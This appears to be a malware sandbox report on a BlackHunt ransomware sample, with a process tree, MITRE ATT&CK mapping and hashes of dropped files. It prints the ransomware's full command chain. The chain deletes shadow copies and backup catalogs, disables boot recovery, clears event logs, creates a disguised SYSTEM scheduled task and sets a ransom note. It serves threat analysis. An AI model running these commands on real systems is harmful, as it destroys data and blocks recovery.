  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3360
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:5100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:5012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe" /F
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3704
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1464
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3132
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4528
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3164
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4736
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3468
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1600
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3572
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1348
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2880
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:5600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:5624
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:5508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:5576
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:6108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2736
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2708
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:5160
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:5012
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3384
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2492
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3368
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1464
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5436
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4244
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2608
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4736
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:6132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:5684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:5628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1684
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:5728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:5620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  - Checks computer location settings
  - Modifies registry class
  PID:4912
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4172
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:4992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:5652
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:820
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\18403ad1d1e83ebe574d0db2a6595520d5be2a0c1d3ccae074a66a36df9bd285.exe"
  2⤵
  PID:1004
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:4456

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2972

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1664

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5340

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:1104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
11afde28545ba4ac86d4eae80ba39d4a

SHA1
0c94ba447548221e9e4db8163538f5d47c3b0c38

SHA256
67d752a69567f4e4b7551d1fc6bb6ac74ca32df20bdf3675106a421ae6a6c187

SHA512
bb3b88afe9aeaa8947b7147402a37faff8af0160cdec2f3844f1789ca00fa879e2fb0453757d5f0cc9c68c1876d8a00f8643eea3113849ba8147e0231a0bcac5

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
a15d47274670ca77f6a02a488add2b06

SHA1
3208dff2452e85c6f472f8b905fb5da89af8784e

SHA256
c824d7e57451e40fa7f2db9059628298af403ec68dab132d1356dd239fdad3da

SHA512
e70740ce031b172cb99a01ff0b61bdd25b59ee5d7c0f37a666538822e54aaf84d7771431e0cb783f4509e5440d0acf5f496d41198b8be8ab8d8fbbf7f8915771

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
81f3100a9bf202f7ed8b2fa370483461

SHA1
2205a6cb15996a2b9011318b244e35ca1a3c548e

SHA256
0fd59ae86c50254e780d9bc45330ec4f8c63e20901ab68d7785af66a8324bbb8

SHA512
da526aee75e28c607d34ffe293705f4aebb9ae2e485c5ae73b3ce474bf5181be830d577f09d001de85703510997238f88810d6ebe2ae64bcdf0d207c87922cde

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads